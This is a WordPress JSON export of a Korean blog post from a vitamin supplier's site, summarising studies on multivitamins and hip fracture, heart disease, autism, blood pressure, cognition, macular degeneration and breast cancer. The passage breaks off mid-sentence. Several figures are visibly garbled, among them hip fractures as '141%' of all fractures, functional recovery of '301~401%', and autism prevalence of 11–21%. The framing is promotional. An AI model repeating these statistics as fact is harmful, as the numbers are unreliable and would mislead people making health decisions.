{"id":4781,"date":"2024-01-25T16:11:40","date_gmt":"2024-01-25T08:11:40","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4781"},"modified":"2024-04-12T23:57:56","modified_gmt":"2024-04-12T15:57:56","slug":"multivitamins-are-recommended-for-their-efficacy","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\uba40\ud2f0\ube44\ud0c0\ubbfc\uc740-\ub2e4\uc74c\uacfc-\uac19\uc740-\ud6a8\ub2a5\uc744-\uc704\ud574-\uad8c\uc7a5\ub429\ub2c8\ub2e4\/","title":{"rendered":"\uba40\ud2f0\ube44\ud0c0\ubbfc\uc740 \ub2e4\uc74c\uacfc \uac19\uc740 \ud6a8\ub2a5\uc744 \uc704\ud574 \uad8c\uc7a5\ub429\ub2c8\ub2e4."},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-e9f8175\" data-block-id=\"e9f8175\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3726\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp\" width=\"806\" height=\"449\" alt=\"\ube44\ud0c0\ubbfc B12\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp 806w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-300x167.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-768x428.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-600x334.webp 600w\" sizes=\"(max-width: 806px) 100vw, 806px\" \/><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">\uc900\uc218\ub780 \ubb34\uc5c7\uc778\uac00\uc694? <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/vitamin-derivatives\/vitamin-b\/\">\ube44\ud0c0\ubbfc<\/a>?<\/h2>\n\n\n\n<p>\ud604\uc7ac\ub85c\uc11c\ub294 \ubaa8\ub4e0 \uc0ac\ub78c\uc5d0\uac8c \uc885\ud569\ube44\ud0c0\ubbfc\uc744 \uad8c\uc7a5\ud560 \ub9cc\ud55c \uc99d\uac70\ub294 \uc5c6\uc9c0\ub9cc, \uc77c\ubd80 \uadf8\ub8f9\uc740 \uc0dd\ub9ac\uc801 \uc870\uac74\uc774\ub098 \uc2dd\ub2e8\uc758 \ubcc0\ud654\ub85c \uc778\ud574 \ud2b9\uc815 \uc601\uc591\uc18c\uac00 \uacb0\ud54d\ub420 \uc218 \uc788\uc73c\ubbc0\ub85c \uc801\uc808\ud55c \ubcf4\ucda9\uc81c\ub97c \uc12d\ucde8\ud558\uba74 \ud6a8\uacfc\ub97c \ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub178\uc778: \uc774 \ub2e8\uacc4\uc5d0\uc11c\ub294 \uc18c\ud654 \ubc0f \ud761\uc218 \ub2a5\ub825\uc774 \uc810\ucc28 \uc57d\ud654\ub418\uba70, \ud2b9\ud788 \ube44\ud0c0\ubbfc D, \uce7c\uc298 \ubc0f<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/\uc544\ub370\ub178\uc2e0-\ucf54\ubc1c\ub77c\ubbfc-\uacf5\uae09-\uc5c5\uccb4-\uc544\ub370\ub178\uc2e0-\ucf54\ubc1c\ub77c\ubbfc-\uc81c\/\"> \ube44\ud0c0\ubbfc B12 <\/a>\uacb0\ud568\uc774 \uac00\uc7a5 \ud754\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc44\uc2dd\uc8fc\uc758\uc790: \ud2b9\uc815 \uc601\uc591\uc18c\ub294 \uc8fc\ub85c \ub3d9\ubb3c\uc131 \uc2dd\ud488\uc5d0\uc11c \ubc1c\uacac\ub418\uba70 \ucc44\uc2dd\uc8fc\uc758\uc790\ub294 \ube44\ud0c0\ubbfc B12, \uce7c\uc298, \uc544\uc5f0, \ucca0\ubd84 \ubc0f \ube44\ud0c0\ubbfc D\uac00 \ubd80\uc871\ud560 \uac00\ub2a5\uc131\uc774 \ub192\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc784\uc2e0 \ub610\ub294 \uc218\uc720\uae30: \uc774 \ub2e8\uacc4\uc5d0\uc11c\ub294 \uc0c8 \uc0dd\uba85\uc758 \uc131\uc7a5\uc744 \uc9c0\uc6d0\ud558\uae30 \uc704\ud574 \ub9ce\uc740 \uc601\uc591\uc18c\uac00 \ud544\uc694\ud558\uc9c0\ub9cc \uacfc\ub3c4\ud55c \uc601\uc591\uc18c(\uc5fd\uc0b0 \ubc0f \ube44\ud0c0\ubbfc A \uacfc\uc789\uc740 \ud0dc\uc544\uc5d0\uac8c \ubd80\uc815\uc801\uc778 \uc601\ud5a5\uc744 \ubbf8\uce60 \uc218 \uc788\uc74c)\ub85c \uc778\ud55c \ud53c\ud574\ub97c \ud53c\ud558\uae30 \uc704\ud574 \ub9ce\uc740 \uc601\uc591\uc18c\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/vitamin-derivatives\/\">\uba40\ud2f0\ube44\ud0c0\ubbfc<\/a> \ub294 \uac74\uac15 \uc720\uc9c0\uc5d0 \ud544\uc218\uc801\uc778 \ucd5c\uc18c 13\uac00\uc9c0 \ube44\ud0c0\ubbfc\uacfc 16\uac00\uc9c0 \ubbf8\ub124\ub784\uc744 \ud568\uc720\ud55c \ub2e4\uc591\ud55c \uc601\uc591\uc18c\uc785\ub2c8\ub2e4. \uc774\ub7ec\ud55c \uc601\uc591\uc18c\ub294 \uc2e0\uccb4\uc758 \ubb34\uc218\ud55c \ud6a8\uc18c \ubc18\uc751\uc5d0 \ud544\uc694\ud558\uac70\ub098 \uc0dd\ub9ac\uc801 \ubc18\uc751\uc744 \uc131\uc7a5, \uc720\uc9c0 \ub610\ub294 \uc870\uc808\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 \ud638\ub974\ubaac, \uc2e0\ud638 \ubd84\uc790 \ub610\ub294 \uad6c\uc870\uc801 \uc694\uc18c\ub85c \uc0ac\uc6a9\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uba40\ud2f0\ube44\ud0c0\ubbfc\uc758 \uad8c\uc7a5 \ud6a8\uacfc\ub294 \uc5b4\ub5a4 \uac83\ub4e4\uc774 \uc788\ub098\uc694?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\uace8\ub2e4\uacf5\uc99d\uc131 \uace0\uad00\uc808 \uace8\uc808\uc5d0 \uc720\uc775\ud569\ub2c8\ub2e4.<\/h3>\n\n\n\n<p>\uace8\ub2e4\uacf5\uc99d\uc131 \uace0\uad00\uc808 \uace8\uc808\uc740 \uace8\ub2e4\uacf5\uc99d\uc774 \uc788\ub294 \ub178\ub144\uce35\uc5d0\uc11c \ub099\uc0c1 \ud6c4 \ud754\ud788 \ubc1c\uc0dd\ud558\ub294 \uadfc\uc704 \ub300\ud1f4\uace8 \uace8\uc808\uc785\ub2c8\ub2e4(\uc804 \uc138\uacc4 \uc5ec\uc131 181\ub9cc\uba85, \ub0a8\uc131 61\ub9cc\uba85\uc5d0\uac8c \uc601\ud5a5\uc744 \ubbf8\uce69\ub2c8\ub2e4).<\/p>\n\n\n\n<p>\uace0\uad00\uc808 \uace8\uc808\uc740 \uc0ac\ud68c\uc801, \uac1c\uc778\uc801\uc73c\ub85c \uc0c1\ub2f9\ud55c \uacbd\uc81c\uc801 \ubd80\ub2f4\uc744 \ucd08\ub798\ud569\ub2c8\ub2e4. \uace0\uad00\uc808 \uace8\uc808\uc740 \uc804\uccb4 \uace8\uc808 \uc911 141%\uc5d0 \ubd88\uacfc\ud558\uc9c0\ub9cc, \uc5f0\uac04 \ucd5c\ub300 1\uc870 4,500\uc5b5 \ub2ec\ub7ec\ub85c \ucd94\uc815\ub418\ub294 \ub9c9\ub300\ud55c \ud53c\ud574\ub97c \uc785\ud788\ub294 \ubd80\uc0c1\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uace0\uad00\uc808 \uace8\uc808 \ud6c4 \ub2e4\ub978 \uc6d0\uc778\uc73c\ub85c \uc778\ud55c \uc0ac\ub9dd \uc704\ud5d8\uc740 5~8\ubc30 \uc99d\uac00\ud558\uba70, \uace8\uc808 \ud6c4 1\ub144 \ub204\uc801 \uc0ac\ub9dd\ub960\uc740 \uc5ec\uc131\ubcf4\ub2e4 \ub0a8\uc131\uc5d0\uc11c \ub354 \ub192\uace0, \uae30\ub2a5\uc801 \uc0c1\ud0dc\ub97c \ud68c\ubcf5\ud558\ub294 \ud658\uc790\ub294 301~401%\uc5d0 \ubd88\uacfc\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uccb4\uacc4\uc801\uc778 \uac80\ud1a0 \ubc0f \uba54\ud0c0 \ubd84\uc11d(80,148\uba85\uc774 \ucc38\uc5ec\ud55c 8\uac74\uc758 \uad00\ucc30 \uc5f0\uad6c)\uc5d0 \ub530\ub974\uba74 \uc885\ud569 \ube44\ud0c0\ubbfc \uc12d\ucde8\ub294 \uace8\ub2e4\uacf5\uc99d\uc131 \uace0\uad00\uc808 \uace8\uc808\uc758 \uc704\ud5d8 \uac10\uc18c\uc640 \uc720\uc758\ubbf8\ud55c \uad00\ub828\uc774 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc720\uc775\ud55c \uc2ec\ud608\uad00 \uc9c8\ud658<\/h3>\n\n\n\n<p>\ud608\uad00 \uc9c8\ud658\uc740 \uc5ec\uc804\ud788 \uc804 \uc138\uacc4\uc801\uc73c\ub85c \uac00\uc7a5 \ud070 \uc0ac\ub9dd \uc6d0\uc778\uc774\uba70, \uc9c0\ub09c \uc218\uc2ed \ub144 \ub3d9\uc548 \uc0ac\ub9dd\ub960\uc774 \ud06c\uac8c \uac10\uc18c\ud588\uc74c\uc5d0\ub3c4 \ubd88\uad6c\ud558\uace0 \uc2ec\ud608\uad00 \uc9c8\ud658\uc740 \uc5ec\uc804\ud788 \uc804\uccb4 \uc0ac\ub9dd\uc758 48%(\ub0a8\uc131 38%, \uc5ec\uc131 54%)\ub97c \ucc28\uc9c0\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub098\uc774, \uc131\ubcc4, \uac00\uc871\ub825, \uc778\uc885\uc740 \ubaa8\ub450 \uc8fc\uc694 \uc2ec\ud608\uad00 \uc704\ud5d8 \uc694\uc778\uc73c\ub85c, \uc9c1\uc811\uc801\uc778 \uce58\ub8cc \uac1c\uc785\uc740 \ubd88\uac00\ub2a5\ud558\uc9c0\ub9cc \uc704\ud5d8 \uacc4\uce35\ud654\uc5d0 \uc911\uc694\ud558\uba70 \uc57d\ubb3c \ud6a8\ub2a5\uacfc \uc21c\uc751\ub3c4\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce69\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uccb4\uacc4\uc801 \ubb38\ud5cc\uace0\ucc30 \ubc0f \uba54\ud0c0\ubd84\uc11d(2019,862\uba85\uc774 \ucc38\uc5ec\ud55c 18\uac74\uc758 \uc784\uc0c1\uc2dc\ud5d8 \ubc0f \uc804\ud5a5\uc801 \ucf54\ud638\ud2b8 \uc5f0\uad6c)\uc5d0 \ub530\ub974\uba74 \uc885\ud569 \ube44\ud0c0\ubbfc\/\ubbf8\ub124\ub784 \ubcf4\ucda9\uc81c\ub294 \uc804\ubc18\uc801\uc73c\ub85c \uc2ec\ud608\uad00 \uc9c8\ud658 \uc0ac\ub9dd\ub960, \uad00\uc0c1\ub3d9\ub9e5 \uc2ec\uc7a5 \uc9c8\ud658 \uc0ac\ub9dd\ub960, \ub1cc\uc878\uc911 \uc0ac\ub9dd\ub960 \ub610\ub294 \ub1cc\uc878\uc911 \ubc1c\uc0dd\ub960\uacfc \uad00\ub828\uc774 \uc5c6\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c \ud558\uc704 \uadf8\ub8f9 \ubd84\uc11d(\ud3c9\uade0 \ucd94\uc801 \uad00\ucc30 \uae30\uac04, \ud3c9\uade0 \uc5f0\ub839, \ubcf5\uc6a9 \uae30\uac04, \uc131\ubcc4, \uc778\uad6c \uc720\ud615, \uad00\uc0c1\ub3d9\ub9e5 \uc2ec\uc7a5 \uc9c8\ud658 \ubcd1\ub825\uc774 \uc788\ub294 \ud658\uc790 \uc81c\uc678, \uc2dd\ub2e8 \uc870\uc815, \ud761\uc5f0 \uc870\uc815, \uc2e0\uccb4 \ud65c\ub3d9 \uc870\uc815, \uc5f0\uad6c \uc7a5\uc18c \ub4f1\uc73c\ub85c \uc138\ubd84\ud654)\uc5d0\uc11c\ub3c4 \uc885\ud569 \ube44\ud0c0\ubbfc \ubcf4\ucda9\uc81c\uc640 \uc2ec\ud608\uad00 \uc9c8\ud658 \ub610\ub294 \uad00\uc0c1\ub3d9\ub9e5 \uc2ec\uc7a5 \uc9c8\ud658\uc73c\ub85c \uc778\ud55c \uc0ac\ub9dd\ub960 \uac04 \uc5f0\uad00\uc131\uc740 \uc5c6\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc790\ud3d0\uc99d \ubc1c\ubcd1\ub960 \uac10\uc18c<\/h3>\n\n\n\n<p>\uc790\ud3d0 \uc2a4\ud399\ud2b8\ub7fc \uc7a5\uc560(ASD)\ub294 \uc720\uc804\uc801 \ubc0f \ube44\uc720\uc804\uc801 \uc704\ud5d8 \uc694\uc778\uc758 \uc0c1\ud638\uc791\uc6a9\uc5d0 \uc758\ud574 \ubc1c\uc0dd\ud558\ub294 \ub2e4\uc778\uc131 \uc7a5\uc560\ub85c \ub110\ub9ac \uc54c\ub824\uc9c4 \uc2e0\uacbd \ubc1c\ub2ec \uc7a5\uc560\ub85c, \uc720\ubcd1\ub960\uc740 \uc57d 11%\uc5d0\uc11c 21%\uc774\uba70 \ub0a8\uc131\uc774 \uc5ec\uc131\ubcf4\ub2e4 2~3\ubc30 \ub354 \ub9ce\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc790\ud3d0\uc99d\uc740 \ubcf4\ud1b5 \ub9cc 3\uc138\uac00 \ub418\uba74 \uc0ac\ud68c\uc801, \uc5b8\uc5b4\uc801, \ube44\uc5b8\uc5b4\uc801 \uc758\uc0ac\uc18c\ud1b5\uc758 \ubd80\uc871, \ub208\ub9de\ucda4\/\ud45c\uc815 \ubc0f \uc2e0\uccb4 \uc6c0\uc9c1\uc784\uc758 \uac10\uc18c, \uac10\uc815 \uc870\uc808 \ub2a5\ub825 \ubd80\uc871 \ub610\ub294 \ud0c0\uc778\uc758 \uac10\uc815 \uc774\ud574\uc758 \uc5b4\ub824\uc6c0, \ud65c\ub3d9 \ubc94\uc704\uc640 \uad00\uc2ec\uc0ac\uac00 \uc0c1\ub2f9\ud788 \uc81c\ud55c\ub418\ub294 \ub3c5\ud2b9\ud55c \uc0ac\ud68c\uc801 \ud589\ub3d9, \ub2e4\uc74c\uacfc \uac19\uc740 \ube44\ud2b9\uc774\uc801 \uc99d\uc0c1\uc73c\ub85c \ubc1c\uacac\ub429\ub2c8\ub2e4: \uc815\uc2e0 \uc9c0\uccb4, \uc815\uc11c\uc801 \ubb34\uad00\uc2ec, \uacfc\uc789 \ud589\ub3d9, \uacf5\uaca9\uc131, \uc790\ud574, \ud754\ub4e4\uae30\ub098 \ubc15\uc218 \uce58\uae30\uc640 \uac19\uc740 \ubc18\ubcf5\uc801\uc778 \ud589\ub3d9.<\/p>\n\n\n\n<p>\ucd1d 231,163\uba85\uc758 \uc5b4\ub9b0\uc774\uac00 \ucc38\uc5ec\ud55c 5\uac74\uc758 \uad00\ucc30 \uc5f0\uad6c\uc5d0 \ub300\ud55c \uccb4\uacc4\uc801\uc778 \uac80\ud1a0 \ubc0f \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74, \ucd9c\uc0dd \uc804\uc5d0 \uc885\ud569 \ube44\ud0c0\ubbfc\uc744 \ubcf5\uc6a9\ud55c \uc0b0\ubaa8\ub294 \uadf8\ub807\uc9c0 \uc54a\uc740 \uc0b0\ubaa8\uc5d0 \ube44\ud574 \uc790\ud3d0 \uc2a4\ud399\ud2b8\ub7fc \uc7a5\uc560\ub97c \uac00\uc9c4 \uc790\ub140\ub97c \ucd9c\uc0b0\ud560 \uac00\ub2a5\uc131\uc774 \ud604\uc800\ud788 \ub0ae\uc740 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc885\ud569 \ube44\ud0c0\ubbfc\uc740 \ud608\uc555 \uc870\uc808\uc5d0 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.<\/h3>\n\n\n\n<p>\ud608\uc555\uc740 \uc804\uc2e0 \uc21c\ud658\uc758 \ud070 \ub3d9\ub9e5 \ub0b4\uc5d0\uc11c \uce21\uc815\ud55c \ud608\uc555\uc744 \ub9d0\ud558\uba70, \uc774 \uc218\uce58\ub294 \uc218\ucd95\uae30 \ud608\uc555\uacfc \uc774\uc644\uae30 \ud608\uc555\uc73c\ub85c \ub098\ub258\uba70 \uc804\ud1b5\uc801\uc73c\ub85c \uc218\uc740 \ud29c\ube0c \ud608\uc555\uacc4\ub97c \uc0ac\uc6a9\ud558\uc5ec \ubc00\ub9ac\ubbf8\ud130(mmHg) \ub2e8\uc704\ub85c \uce21\uc815\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc218\ucd95\uae30 \ud608\uc555\uc740 \uc2ec\uc7a5 \uadfc\uc721\uc774 \uc218\ucd95\ud558\uc5ec \ud608\uc561\uc744 \ubab8\uc73c\ub85c \ubc00\uc5b4\ub0bc \ub54c \uc8fc\uc694 \ub3d9\ub9e5\uc758 \ucd5c\ub300 \uc555\ub825\uc744 \ub9d0\ud569\ub2c8\ub2e4. \uc774\uc644\uae30 \ud608\uc555\uc740 \uc2ec\uc7a5 \uadfc\uc721\uc774 \ubc15\ub3d9 \uc0ac\uc774\uc5d0 \uc774\uc644\ud560 \ub54c \uc8fc\uc694 \ub3d9\ub9e5\uc758 \ucd5c\uc18c \uc555\ub825\uc744 \ub9d0\ud558\uba70, \ud608\uc555\uc744 \uc815\uc0c1 \ubc94\uc704 \ub0b4\ub85c \uc720\uc9c0\ud574\uc57c \ud569\ub2c8\ub2e4. 140\/80mmHg\uc5d0\uc11c 159\/99mmHg \uc0ac\uc774\uc758 \ud608\uc555\uc740 1\ub2e8\uacc4 \uace0\ud608\uc555, 160\/100mmHg\uc5d0\uc11c 179\/109mmHg \uc0ac\uc774\uc758 \ud608\uc555\uc740 2\ub2e8\uacc4 \uace0\ud608\uc555\uc73c\ub85c \ubd84\ub958\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubb38\ud5cc \uba54\ud0c0 \ubd84\uc11d(23,207\uba85\uc774 \ucc38\uc5ec\ud55c 12\uac1c\uc758 \ubb34\uc791\uc704 \ub300\uc870\uad70 \uc5f0\uad6c)\uc5d0 \ub530\ub974\uba74 \uc885\ud569 \ube44\ud0c0\ubbfc\uacfc \uc885\ud569 \ubbf8\ub124\ub784 \ubcf4\ucda9\uc81c\ub294 \uc218\ucd95\uae30 \ud608\uc555(SBP)\uacfc \uc774\uc644\uae30 \ud608\uc555(DBP)\uc744 \ub0ae\ucd94\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud558\uc704 \uadf8\ub8f9 \ubd84\uc11d \uacb0\uacfc, \uc885\ud569 \ube44\ud0c0\ubbfc\uacfc \uc885\ud569 \ubbf8\ub124\ub784 \ubcf4\ucda9\uc81c\uc758 \ud608\uc555 \uac10\uc18c \ud6a8\uacfc\ub294 \ub9cc\uc131 \uc9c8\ud658 \ub610\ub294 \uace0\ud608\uc555 \ud658\uc790\uc5d0\uc11c\ub9cc \uc720\uc758\ubbf8\ud588\uc73c\uba70 \uac74\uac15\ud55c \ud658\uc790\uc5d0\uc11c\ub294 \ud6a8\uacfc\uac00 \uc5c6\uc5c8\uc73c\uba70, \ub9cc\uc131 \uc9c8\ud658 \ud658\uc790\uc758 \uc218\ucd95\uae30 \ubc0f \uc774\uc644\uae30 \ud608\uc555\uc758 \uac00\uc911 \ud3c9\uade0 \ucc28\uc774(WMD)\ub294 -6.29mmHg, -2.32mmHg\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc720\uc775\ud55c \uc778\uc9c0 \uae30\ub2a5<\/h3>\n\n\n\n<p>\uc88b\uc740 \uae30\uc5b5\ub825, \uc8fc\uc758\ub825, \ucc3d\uc758\ub825, \uc9c0\ub2a5\uc740 \ubaa8\ub4e0 \uc0ac\ub78c\uc774 \uc6d0\ud558\ub294 \uac83\uc774\uba70 \uc131\uacf5\uacfc \uc790\uae30 \uacc4\ubc1c\uc744 \uc704\ud55c \ud575\uc2ec \uc694\uc18c\uc774\uae30 \ub54c\ubb38\uc5d0 \uc778\uc9c0 \uae30\ub2a5\uc744 \uac1c\uc120\ud558\uace0 \uc778\uc9c0 \uc800\ud558\ub97c \ub2a6\ucd94\ub294 \uac83\uc740 \uc778\uac04 \uc0ac\ud68c\uc5d0\uc11c \uac00\uc7a5 \ud765\ubbf8\ub85c\uc6b4 \uc8fc\uc81c \uc911 \ud558\ub098\uac00 \ub418\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubb38\ud5cc \uba54\ud0c0 \ubd84\uc11d(3,200\uba85\uc774 \ucc38\uc5ec\ud55c 10\uac1c\uc758 \uc5f0\uad6c)\uc5d0 \ub530\ub974\uba74 \uc885\ud569 \ube44\ud0c0\ubbfc \ubcf4\ucda9\uc81c\ub294 \uc989\uac01\uc801\uc778 \uae30\uc5b5\ub825 \ud68c\uc0c1\uc5d0\ub294 \ub3c4\uc6c0\uc774 \ub418\uc5c8\uc9c0\ub9cc, \ub2e4\ub978 \uc778\uc9c0 \uc601\uc5ed(\uc9c0\uc5f0\ub41c \uae30\uc5b5\ub825 \ud68c\uc0c1\uc774\ub098 \uc5b8\uc5b4\uc801 \uc720\ucc3d\uc131 \ub4f1)\uc5d0\ub294 \ud070 \ub3c4\uc6c0\uc774 \ub418\uc9c0 \uc54a\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c 16\uc138 \ubbf8\ub9cc \uc5b4\ub9b0\uc774\ub97c \ub300\uc0c1\uc73c\ub85c \ud55c 20\uac74\uc758 \uc5f0\uad6c \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \ub2e4\uc591\ud55c \ubbf8\ub7c9 \uc601\uc591\uc18c\ub97c \ubcf4\ucda9\ud558\uba74 \uc720\ub3d9 \uc9c0\ub2a5\uacfc \ud559\uc5c5 \uc131\ucde8\ub3c4\uac00 \ud5a5\uc0c1\ub420 \uc218 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud669\ubc18\ubcc0\uc131\uc5d0 \uc720\uc775<\/h3>\n\n\n\n<p>\uc5f0\ub839 \uad00\ub828 \ud669\ubc18\ubcc0\uc131\uc740 \uc8fc\ub85c \ub9dd\ub9c9 \uc911\uc2ec\ubd80\uc758 \uc0c9\uc18c \uc0c1\ud53c \uc138\ud3ec\uc758 \ubcc0\uc131\uc73c\ub85c \uc778\ud574 \ubc1c\uc0dd\ud558\uba70 60\uc138 \uc774\uc0c1\uc5d0\uc11c \uc2dc\ub825 \uc0c1\uc2e4\uacfc \uc2e4\uba85\uc758 \uc8fc\uc694 \uc6d0\uc778\uc774\uba70 80\uc138 \uc774\uc0c1\uc5d0\uc11c\ub294 \uc720\ubcd1\ub960\uc774 35%\uc5d0 \ub2ec\ud560 \uc815\ub3c4\ub85c \ub192\uc2b5\ub2c8\ub2e4. \uc8fc\uc694 \uc704\ud5d8 \uc694\uc778\uc73c\ub85c\ub294 \uc778\uc885, \uc131\ubcc4, \uace0\ud608\uc555, \uc720\uc804, \uc2dd\uc2b5\uad00, \ud587\ube5b \ub178\ucd9c \ub4f1\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>76,756\uba85\uc774 \ucc38\uc5ec\ud55c 5\uac74\uc758 \uc5f0\uad6c\uc5d0 \ub300\ud55c \ucf54\ud06c\ub780 \ub9ac\ubdf0\uc5d0 \ub530\ub974\uba74 \uc885\ud569 \ube44\ud0c0\ubbfc \ubcf4\ucda9\uc81c\ub294 \ub178\ud654 \uad00\ub828 \ud669\ubc18\ubcc0\uc131\uc744 \uc608\ubc29\ud558\uac70\ub098 \uc18d\ub3c4\ub97c \ub2a6\ucd94\uc9c0 \ubabb\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c, \ucf54\ud06c\ub780 \ub9ac\ubdf0(19\uac1c \uc5f0\uad6c)\uc5d0 \ub530\ub974\uba74 \uc5f0\ub839 \uad00\ub828 \ud669\ubc18\ubcc0\uc131 \ud658\uc790\uc758 \uacbd\uc6b0 \uc885\ud569 \ube44\ud0c0\ubbfc \ubcf4\ucda9\uc81c\ub97c \uc12d\ucde8\ud558\uba74 \uc9c8\ubcd1\uc758 \uc9c4\ud589\uc744 \ub2a6\ucd9c \uc218 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc720\ubc29\uc554 \ubc1c\uc0dd\ub960<\/h3>\n\n\n\n<p>\uc720\ubc29\uc554\uc740 \uc5ec\uc131\uc5d0\uac8c \uac00\uc7a5 \ud754\ud55c \uc554\uc73c\ub85c \uc8fc\ub85c \uc720\ubc29 \uc870\uc9c1\uc758 \uc548\ucabd \uce35, \uc989 \uc720\uc5fd\uc5d0\uc11c \ubc1c\uc0dd\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc720\ubc29\uc554\uc740 \uc720\uc804\uc801 \uc694\uc778 \ubc0f \ube44\uc720\uc804\uc801 \uc694\uc778\uacfc \uad00\ub828\uc774 \uc788\uc2b5\ub2c8\ub2e4. BRCA1 \ubc0f BRCA2 \uc720\uc804\uc790 \ubcc0\uc774 \uc678\uc5d0\ub3c4 \ube44\uc720\uc804\uc801 \uc694\uc778\uc73c\ub85c\ub294 \ucd08\uacbd \uc5f0\ub839, \uc0dd\uc2dd \uc5f0\ub839, \ubaa8\uc720 \uc218\uc720 \ube48\ub3c4, \ud761\uc5f0, \ubc29\uc0ac\uc120 \ub178\ucd9c, \uacbd\uad6c \ud53c\uc784\uc57d \ubc0f \ud3d0\uacbd \ud6c4 \ud638\ub974\ubaac \uc0ac\uc6a9, \uace0\uc9c0\ubc29 \uc2dd\ub2e8, \ube44\ub9cc \ub4f1\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc2a4\uc704\uc2a4 \uc5ec\uc131\uc744 \ub300\uc0c1\uc73c\ub85c \ud55c \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \uc885\ud569\ube44\ud0c0\ubbfc\uc744 \ubcf5\uc6a9\ud558\uba74 \uc720\ubc29\uc554 \uc704\ud5d8\uc774 \ub192\uc544\uc9c8 \uc218 \uc788\ub2e4\uace0 \ud569\ub2c8\ub2e4. \ucc38\uace0 2<\/p>\n\n\n\n<p>\uadf8\ub7ec\ub098 355,080\uba85\uc774 \ucc38\uc5ec\ud55c 27\uac1c\uc758 \uc5f0\uad6c \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \uc885\ud569 \ube44\ud0c0\ubbfc \ubcf4\ucda9\uc81c\ub294 \uc720\ubc29\uc554 \ubc1c\uc0dd\ub960\uc744 \uc720\uc758\ud558\uac8c \uc99d\uac00\uc2dc\ud0a4\uac70\ub098 \uac10\uc18c\uc2dc\ud0a4\uc9c0 \uc54a\uc558\uc73c\uba70, \ub450 \uac00\uc9c0 \uc0ac\uc774\uc5d0 \uc720\uc758\ubbf8\ud55c \uc5f0\uad00\uc131\uc774 \uc5c6\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc555\ub825\uc5d0 \ub300\ud55c \uc800\ud56d\ub825 \ud5a5\uc0c1<\/h3>\n\n\n\n<p>\uc0ac\ub78c\ub4e4\uc740 \uc9c1\uc7a5, \uac00\uc871, \ub300\uc778\uad00\uacc4, \uc2ec\uc9c0\uc5b4 \uc815\uc11c\uc801 \uc555\ubc15 \ub4f1 \ub9e4\uc77c \ub2e4\uc591\ud55c \uc885\ub958\uc758 \uc555\ubc15\uc5d0 